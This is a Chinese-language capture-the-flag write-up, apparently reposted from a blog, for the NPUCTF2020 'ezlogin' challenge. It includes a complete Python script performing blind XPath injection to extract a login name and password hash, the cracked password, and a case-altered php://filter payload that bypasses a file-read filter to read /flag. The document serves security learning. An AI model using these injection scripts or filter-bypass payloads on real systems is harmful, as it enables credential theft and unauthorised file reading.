[NPUCTF2020]ezlogin

前言

突然想起来自己还没做过自己学校去年的比赛,去buuctf上找了去年比赛的几个web,开始做一做,学长们还是tql,出的题目让我学到了很多东西。

WP

需要login,比较麻烦的就是会老是告诉你超时,需要一直重复获得token。这个似乎是csrf-token。抓包看的话会发现是这个:

<username>1</username>
<password>1</password>
<token>a638f49e5fcd01e49c1039f0d585e32T</token>

这里就是我的问题了,一直在学什么命令执行,文件包含,SSTI,SQL注入啥的,对于xpath注入居然一点都不了解,只了解个XXE注入,看到这个的第一反应居然是XXE注入(被自己菜傻了)。
学习一波:
xpath注入详解
这个文章讲的确实很好,认真看完的话,就知道这题应该怎么做了。
如果是' or 1=1 or '的话,会返回非法操作,如果是' or 1=2 or '的话,就会提示错误,因此这是盲注了,写个脚本(感觉还没找到写xpath注入脚本的感觉,有空了再改改):

import requests
from time import *

url="http://c8f02832-3d95-433d-8d4d-55297b6cd02f.node3.buuoj.cn/"

headers={
    
    
    "Content-Type": "application/xml",
    "Cookie": "PHPSESSID=8fe5dba4c7ce591f7ef04907d3b2c97c",
}
def getToken():
    tokenHeaders={
    
    
        "Cookie": "PHPSESSID=8fe5dba4c7ce591f7ef04907d3b2c97c",
    }
    r=requests.get(url,headers=tokenHeaders)
    location=r.text.find('id="token" value="')
    return r.text[location+18:location+50]

def login(token,username,password):
    data=f"<username>{username}</username><password>{password}</password><token>{token}</token>"
    r=requests.post(url=url+"login.php",headers=headers,data=data)
    return r.text


def getElementName():
    for i in range(1,3):
        name=""
        for j in range(1,20):
            flag=False
            for k in "abcdefghijklmnopqrstuvwxyz0123456789":
                username=f"' or substring(name(/root/accounts/*[position()={i}]),{j},1)='{k}' or '"
                password="1"
                token=getToken()
                text=login(token,username,password)
                if "非法操作!" in text:
                    flag=True
                    name+=k
                    print(name)
                sleep(0.2)
            if flag==False:
                print("没找到k")
                break
def getCount():
    for i in range(1,20):
        username=f"' or count(/root/accounts/*)={i} or '1'='1"
        password="1"
        token=getToken()
        text=login(token,username,password)
        sleep(0.1)
        if "非法操作!" in text:
            print(i)
            exit()
def getElementValue():
    name=""
    for i in range(1,30):
        flag=False
        for j in "abcdefghijklmnopqrstuvwxyz0123456789":
            #username=f"' or substring(/root/accounts/user[position()=2]/username[position()=1],{i},1)='{j}' or '1'='1"
            username=f"' or substring(/root/accounts/user[position()=2]/password[position()=1],{i},1)='{j}' or '1'='1"

            password="1"
            token=getToken()
            text=login(token,username,password)
            if "非法操作!" in text:
                flag=True
                name+=j
                print(name)
            sleep(0.2)
        if flag==False:
            break
#getCount()
#getElementName()
getElementValue()
"""
root
    accounts
        user
            adm1n
            cf7414b5bdb2e65ee43083f4ddbc4d9f
"""


读出用户名是adm1n,密码是cf7414b5bdb2e65ee43083f4ddbc4d9f,解密后是gtfly123。
进入后可以看到这个:

Welcome!
ZmxhZyBpcyBpbiAvZmxhZwo=

base64解密,知道flag在/flag里。看一下url,发现是?file=welcome。经过测试,这是个文件读取,而且好像过滤了一些东西,而且似乎对输出也进行了过滤。最后经过测试,发现大小写能绕过:

?file=Php://filter/convert.Base64-encode/resource=/flag

然后再base64解密即可得到flag。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/115387366
今日推荐